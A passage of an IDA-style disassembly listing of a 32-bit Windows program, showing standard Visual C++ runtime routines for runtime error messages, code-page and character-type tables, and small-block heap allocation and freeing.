		push	0FFFFFFFFh
		push	ebx
		call	sub_4034F2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_40365D:				; CODE XREF: sub_4035A8+97j
					; sub_4035A8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4035A8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4034F2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_403680	proc near		; CODE XREF: sub_402A24+9p
					; sub_402A49+9p
		mov	eax, ds:dword_4070D8
		cmp	eax, 1
		jz	short loc_403697
		test	eax, eax
		jnz	short locret_4036B8
		cmp	ds:dword_406C64, 1
		jnz	short locret_4036B8


loc_403697:				; CODE XREF: sub_403680+8j
		push	0FCh
		call	sub_4036B9
		mov	eax, ds:dword_407234
		pop	ecx
		test	eax, eax
		jz	short loc_4036AD
		call	eax


loc_4036AD:				; CODE XREF: sub_403680+29j
		push	0FFh
		call	sub_4036B9
		pop	ecx

locret_4036B8:				; CODE XREF: sub_403680+Cj
					; sub_403680+15j
		retn
sub_403680	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036B9	proc near		; CODE XREF: sub_402A24+12p
					; sub_402A49+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_406F30


loc_4036CC:				; CODE XREF: sub_4036B9+20j
		cmp	edx, [eax]
		jz	short loc_4036DB
		add	eax, 8
		inc	ecx
		cmp	eax, offset byte_406FC0
		jl	short loc_4036CC


loc_4036DB:				; CODE XREF: sub_4036B9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_406F30[esi]
		jnz	loc_403809
		mov	eax, ds:dword_4070D8
		cmp	eax, 1
		jz	loc_4037E3
		test	eax, eax
		jnz	short loc_40370C
		cmp	ds:dword_406C64, 1
		jz	loc_4037E3


loc_40370C:				; CODE XREF: sub_4036B9+44j
		cmp	edx, 0FCh
		jz	loc_403809
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:dword_405038	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_403743
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_402810
		pop	ecx
		pop	ecx


loc_403743:				; CODE XREF: sub_4036B9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_402300
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_403786
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_402300
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_4046F0
		add	esp, 10h


loc_403786:				; CODE XREF: sub_4036B9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_402810
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_402820
		lea	eax, [ebp+var_A0]
		push	offset asc_40540C ; "\n\n"
		push	eax
		call	sub_402820
		push	ds:off_406F34[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_402820
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_404663
		add	esp, 2Ch
		pop	edi
		jmp	short loc_403809
; ---------------------------------------------------------------------------


loc_4037E3:				; CODE XREF: sub_4036B9+3Cj
					; sub_4036B9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_406F34[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_402300
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_4050A4	; GetStdHandle
		push	eax
		call	ds:dword_405088	; WriteFile


loc_403809:				; CODE XREF: sub_4036B9+2Ej
					; sub_4036B9+59j ...
		pop	esi
		leave
		retn
sub_4036B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40380C	proc near		; CODE XREF: sub_402B3C+5Ep
					; sub_403BD6+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405450
		push	offset sub_4035A8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_407238
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_40387B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_405448
		push	esi
		call	ds:dword_40507C	; GetStringTypeW
		test	eax, eax
		jz	short loc_403859
		mov	eax, esi
		jmp	short loc_403876
; ---------------------------------------------------------------------------


loc_403859:				; CODE XREF: sub_40380C+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4070C8
		push	esi
		push	ebx
		call	ds:dword_405080	; GetStringTypeA
		test	eax, eax
		jz	loc_403941
		push	2
		pop	eax


loc_403876:				; CODE XREF: sub_40380C+4Bj
		mov	ds:dword_407238, eax


loc_40387B:				; CODE XREF: sub_40380C+2Fj
		cmp	eax, 2
		jnz	short loc_4038A4
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_40388C
		mov	eax, ds:dword_407254


loc_40388C:				; CODE XREF: sub_40380C+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_405080	; GetStringTypeA
		jmp	loc_403943
; ---------------------------------------------------------------------------


loc_4038A4:				; CODE XREF: sub_40380C+72j
		cmp	eax, 1
		jnz	loc_403941
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4038BA
		mov	eax, ds:dword_407264
		mov	[ebp+arg_10], eax


loc_4038BA:				; CODE XREF: sub_40380C+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_405084	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_403941
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_4026C0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4022A0
		add	esp, 0Ch
		jmp	short loc_403910
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_403910:				; CODE XREF: sub_40380C+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_403941
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_405084	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_403941
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_40507C	; GetStringTypeW
		jmp	short loc_403943
; ---------------------------------------------------------------------------


loc_403941:				; CODE XREF: sub_40380C+61j
					; sub_40380C+9Bj ...
		xor	eax, eax


loc_403943:				; CODE XREF: sub_40380C+93j
					; sub_40380C+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40380C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403955	proc near		; CODE XREF: sub_402E37+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_403966
		add	esp, 0Ch
		retn
sub_403955	endp


; =============== S U B	R O U T	I N E =======================================



sub_403966	proc near		; CODE XREF: sub_403955+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_4073C1[eax], cl
		jnz	short loc_403993
		cmp	[esp+arg_4], 0
		jz	short loc_40398C
		movzx	eax, ds:word_406C7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_40398E
; ---------------------------------------------------------------------------


loc_40398C:				; CODE XREF: sub_403966+16j
		xor	eax, eax


loc_40398E:				; CODE XREF: sub_403966+24j
		test	eax, eax
		jnz	short loc_403993
		retn
; ---------------------------------------------------------------------------


loc_403993:				; CODE XREF: sub_403966+Fj
					; sub_403966+2Aj
		push	1
		pop	eax
		retn
sub_403966	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403997	proc near		; CODE XREF: sub_403D5B+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_403B30	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_407290
		mov	[ebp+arg_0], esi
		jz	loc_403B24
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_403B1A
		xor	edx, edx
		mov	eax, offset dword_406FC8


loc_4039CB:				; CODE XREF: sub_403997+41j
		cmp	[eax], esi
		jz	short loc_403A41
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4070B8
		jl	short loc_4039CB
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_405078	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403B12
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4073C0
		cmp	[ebp+var_18], 1
		mov	ds:dword_407290, esi
		rep stosd
		stosb
		mov	ds:dword_4074C4, ebx
		jbe	loc_403B00
		cmp	[ebp+var_12], 0
		jz	loc_403AD6
		lea	ecx, [ebp+var_11]


loc_403A1E:				; CODE XREF: sub_403997+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_403AD6
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_403A2F:				; CODE XREF: sub_403997+A8j
		cmp	eax, edx
		ja	loc_403ACA
		or	ds:byte_4073C1[eax], 4
		inc	eax
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_403A41:				; CODE XREF: sub_403997+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4073C0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_406FD8[esi]


loc_403A5D:				; CODE XREF: sub_403997+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_403A90


loc_403A64:				; CODE XREF: sub_403997+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_403A90
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_403A89
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_406FC0[edx]


loc_403A7E:				; CODE XREF: sub_403997+F0j
		or	ds:byte_4073C1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_403A7E


loc_403A89:				; CODE XREF: sub_403997+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_403A64


loc_403A90:				; CODE XREF: sub_403997+CBj
					; sub_403997+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_403A5D
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4072AC, 1
		push	eax
		mov	ds:dword_407290, eax
		call	sub_403B7A
		lea	esi, dword_406FCC[esi]
		mov	edi, offset dword_4072A0
		movsd
		movsd
		pop	ecx
		mov	ds:dword_4074C4, eax
		movsd
		jmp	short loc_403B1F
; ---------------------------------------------------------------------------


loc_403ACA:				; CODE XREF: sub_403997+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_403A1E


loc_403AD6:				; CODE XREF: sub_403997+7Ej
					; sub_403997+8Bj
		push	1
		pop	eax


loc_403AD9:				; CODE XREF: sub_403997+14Fj
		or	ds:byte_4073C1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_403AD9
		push	esi
		call	sub_403B7A
		pop	ecx
		mov	ds:dword_4074C4, eax
		mov	ds:dword_4072AC, 1
		jmp	short loc_403B06
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_403997+74j
		mov	ds:dword_4072AC, ebx


loc_403B06:				; CODE XREF: sub_403997+167j
		xor	eax, eax
		mov	edi, offset dword_4072A0
		stosd
		stosd
		stosd
		jmp	short loc_403B1F
; ---------------------------------------------------------------------------


loc_403B12:				; CODE XREF: sub_403997+51j
		cmp	ds:dword_40723C, ebx
		jz	short loc_403B28


loc_403B1A:				; CODE XREF: sub_403997+27j
		call	sub_403BAD


loc_403B1F:				; CODE XREF: sub_403997+131j
					; sub_403997+179j
		call	sub_403BD6


loc_403B24:				; CODE XREF: sub_403997+1Dj
		xor	eax, eax
		jmp	short loc_403B2B
; ---------------------------------------------------------------------------


loc_403B28:				; CODE XREF: sub_403997+181j
		or	eax, 0FFFFFFFFh


loc_403B2B:				; CODE XREF: sub_403997+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403997	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B30	proc near		; CODE XREF: sub_403997+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_40723C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_403B50
		mov	ds:dword_40723C, 1
		jmp	ds:dword_405070
; ---------------------------------------------------------------------------


loc_403B50:				; CODE XREF: sub_403B30+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_403B65
		mov	ds:dword_40723C, 1
		jmp	ds:dword_405074
; ---------------------------------------------------------------------------


loc_403B65:				; CODE XREF: sub_403B30+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_403B79
		mov	eax, ds:dword_407264
		mov	ds:dword_40723C, 1

locret_403B79:				; CODE XREF: sub_403B30+38j
		retn
sub_403B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B7A	proc near		; CODE XREF: sub_403997+118p
					; sub_403997+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_403BA7
		sub	eax, 4
		jz	short loc_403BA1
		sub	eax, 0Dh
		jz	short loc_403B9B
		dec	eax
		jz	short loc_403B95
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403B95:				; CODE XREF: sub_403B7A+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_403B9B:				; CODE XREF: sub_403B7A+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_403BA1:				; CODE XREF: sub_403B7A+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_403BA7:				; CODE XREF: sub_403B7A+9j
		mov	eax, 411h
		retn
sub_403B7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403BAD	proc near		; CODE XREF: sub_403997:loc_403B1Ap
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4073C0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4072A0
		mov	ds:dword_407290, eax
		mov	ds:dword_4072AC, eax
		mov	ds:dword_4074C4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_403BAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD6	proc near		; CODE XREF: sub_403997:loc_403B1Fp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_407290
		call	ds:dword_405078	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403D0F
		xor	eax, eax
		mov	esi, 100h


loc_403C00:				; CODE XREF: sub_403BD6+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_403C00
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_403C51
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_403C1F:				; CODE XREF: sub_403BD6+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_403C46
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_403C46:				; CODE XREF: sub_403BD6+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_403C1F
		pop	edi
		pop	ebx


loc_403C51:				; CODE XREF: sub_403BD6+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_4074C4
		push	ds:dword_407290
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_40380C
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_407290
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_4074C4
		call	sub_4047EE
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_407290
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_4074C4
		call	sub_4047EE
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_403CCC:				; CODE XREF: sub_403BD6+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_403CEA
		or	ds:byte_4073C1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_403CE2:				; CODE XREF: sub_403BD6+127j
		mov	ds:byte_4072C0[eax], dl
		jmp	short loc_403D06
; ---------------------------------------------------------------------------


loc_403CEA:				; CODE XREF: sub_403BD6+FCj
		test	dl, 2
		jz	short loc_403CFF
		or	ds:byte_4073C1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_403CE2
; ---------------------------------------------------------------------------


loc_403CFF:				; CODE XREF: sub_403BD6+117j
		and	ds:byte_4072C0[eax], 0


loc_403D06:				; CODE XREF: sub_403BD6+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_403CCC
		jmp	short loc_403D58
; ---------------------------------------------------------------------------


loc_403D0F:				; CODE XREF: sub_403BD6+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_403D16:				; CODE XREF: sub_403BD6+180j
		cmp	eax, 41h
		jb	short loc_403D34
		cmp	eax, 5Ah
		ja	short loc_403D34
		or	ds:byte_4073C1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_403D2C:				; CODE XREF: sub_403BD6+174j
		mov	ds:byte_4072C0[eax], cl
		jmp	short loc_403D53
; ---------------------------------------------------------------------------


loc_403D34:				; CODE XREF: sub_403BD6+143j
					; sub_403BD6+148j
		cmp	eax, 61h
		jb	short loc_403D4C
		cmp	eax, 7Ah
		ja	short loc_403D4C
		or	ds:byte_4073C1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_403D2C
; ---------------------------------------------------------------------------


loc_403D4C:				; CODE XREF: sub_403BD6+161j
					; sub_403BD6+166j
		and	ds:byte_4072C0[eax], 0


loc_403D53:				; CODE XREF: sub_403BD6+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_403D16


loc_403D58:				; CODE XREF: sub_403BD6+137j
		pop	esi
		leave
		retn
sub_403BD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D5B	proc near		; CODE XREF: sub_402E37+9p
					; sub_402E8F+Dp ...
		cmp	ds:dword_4075E8, 0
		jnz	short locret_403D76
		push	0FFFFFFFDh
		call	sub_403997
		pop	ecx
		mov	ds:dword_4075E8, 1

locret_403D76:				; CODE XREF: sub_403D5B+7j
		retn
sub_403D5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D77	proc near		; CODE XREF: sub_402E8F+9Dp
					; sub_403195+BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_403DA4
		push	esi
		call	sub_403E58
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_403D96
		push	eax
		call	sub_403E83
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403D96:				; CODE XREF: sub_403D77+13j
		push	0
		push	ds:dword_4074C8
		call	ds:dword_405090	; RtlFreeHeap


loc_403DA4:				; CODE XREF: sub_403D77+7j
		pop	esi
		retn
sub_403D77	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DA6	proc near		; CODE XREF: sub_402E8F+3Ap
					; sub_402E8F+6Fp ...

arg_0		= dword	ptr  4

		push	ds:dword_407270
		push	[esp+4+arg_0]
		call	sub_403DB8
		pop	ecx
		pop	ecx
		retn
sub_403DA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DB8	proc near		; CODE XREF: sub_403DA6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_403DE1


loc_403DBF:				; CODE XREF: sub_403DB8+27j
		push	[esp+arg_0]
		call	sub_403DE4
		test	eax, eax
		pop	ecx
		jnz	short locret_403DE3
		cmp	[esp+arg_4], eax
		jz	short locret_403DE3
		push	[esp+arg_0]
		call	sub_404A3D
		test	eax, eax
		pop	ecx
		jnz	short loc_403DBF


loc_403DE1:				; CODE XREF: sub_403DB8+5j
		xor	eax, eax

locret_403DE3:				; CODE XREF: sub_403DB8+13j
					; sub_403DB8+19j
		retn
sub_403DB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DE4	proc near		; CODE XREF: sub_403DB8+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_4070B8
		ja	short loc_403DFC
		push	esi
		call	sub_4041AE
		test	eax, eax
		pop	ecx
		jnz	short loc_403E18


loc_403DFC:				; CODE XREF: sub_403DE4+Bj
		test	esi, esi
		jnz	short loc_403E03
		push	1
		pop	esi


loc_403E03:				; CODE XREF: sub_403DE4+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4074C8
		call	ds:dword_40506C	; RtlAllocateHeap


loc_403E18:				; CODE XREF: sub_403DE4+16j
		pop	esi
		retn
sub_403DE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E1A	proc near		; CODE XREF: sub_403472+20p
		push	140h
		push	0
		push	ds:dword_4074C8
		call	ds:dword_40506C	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_40728C, eax
		jnz	short loc_403E37
		retn
; ---------------------------------------------------------------------------


loc_403E37:				; CODE XREF: sub_403E1A+1Aj
		and	ds:dword_407284, 0
		and	ds:dword_407288, 0
		push	1
		mov	ds:dword_407280, eax
		mov	ds:dword_407278, 10h
		pop	eax
		retn
sub_403E1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E58	proc near		; CODE XREF: sub_403D77+Ap

arg_0		= dword	ptr  4

		mov	eax, ds:dword_407288
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_40728C
		lea	ecx, [eax+ecx*4]


loc_403E68:				; CODE XREF: sub_403E58+26j
		cmp	eax, ecx
		jnb	short loc_403E80
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_403E82
		add	eax, 14h
		jmp	short loc_403E68
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_403E58+12j
		xor	eax, eax

locret_403E82:				; CODE XREF: sub_403E58+21j
		retn
sub_403E58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E83	proc near		; CODE XREF: sub_403D77+16p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_403F49
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_403EDB
		mov	[ebp+arg_4], edi


loc_403EDB:				; CODE XREF: sub_403E83+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_403F2D
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403F09
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403F2D
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_403F2D
; ---------------------------------------------------------------------------


loc_403F09:				; CODE XREF: sub_403E83+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403F2D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_403F2D:				; CODE XREF: sub_403E83+60j
					; sub_403E83+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_403F49:				; CODE XREF: sub_403E83+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_403F57
		push	3Fh
		pop	edi


loc_403F57:				; CODE XREF: sub_403E83+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_404006
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_403F82
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_403F82:				; CODE XREF: sub_403E83+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_403F94
		mov	edi, edx


loc_403F94:				; CODE XREF: sub_403E83+10Dj
		cmp	ecx, edi
		jz	short loc_404003
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_403FEB
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403FC7
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403FEB
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_403FEB
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403E83+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403FEB
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_403FEB:				; CODE XREF: sub_403E83+11Ej
					; sub_403E83+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
